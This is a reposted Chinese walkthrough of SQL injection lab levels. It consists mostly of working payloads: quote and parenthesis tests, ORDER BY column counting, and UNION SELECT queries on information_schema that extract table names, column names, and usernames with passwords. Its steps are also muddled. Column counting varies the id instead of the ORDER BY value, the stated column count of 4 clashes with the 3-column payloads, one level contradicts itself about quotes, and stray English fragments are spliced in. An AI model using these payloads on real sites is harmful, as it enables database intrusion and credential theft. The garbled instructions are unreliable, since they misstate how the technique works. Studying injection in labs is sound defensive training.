本文共 1256 字,大约阅读时间需要 4 分钟。
输入单引号 ',检查报错信息。报错表明输入内容被放入一对单引号中。记住,这里报错是为了确认注入类型。
输入 ?id=1' order by 1 -- 发现报错,尝试改为 ?id=2, ?id=3 等,直到报错为止。例如,到 ?id=4 报错,说明可用列数为4。
尝试 ?id=0' union select 1,2,database() --,发现可以提取数据库名称。
使用 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --Get all tables in the database.
利用 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --Get all columns of the users table.
尝试 ?id=0' union select 1,2,group_concat(username,0x3a,password) from users --,这样可以获取用户名和密码。注意,0x3a 表示冒号 :。
输入 ?id=1',发现无需单引号即可完成注入。
与第一关类似,使用 ?id=1 order by 1, ?id=2 等,直到报错确定可用列数。
此关的目标是直接注入数字值,可以省略 SQL 注入的常数处理步骤。
输入单引号 ’ 发现报错,但随后尝试圆括号 (), 无报错表明此关的注入类型为圆括号。
使用 ?id=1... 一步步测试,发现可用列数为4。
尝试双引号 ",报错表明注入类型为双引号。
输入 ?id=1" order by 1 等,确定可用列数为4。
尝试 ?id=0" union select 1,2,database() -- 获取数据库名称。
使用 ?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 获取所有表名。
通过一步步尝试不同的注入类型和闭合符号,可以有效利用数据库注入技术获取所需信息。每关结尾记得清理SQL会话以避免干扰。
转载地址:http://ppshz.baihongyu.com/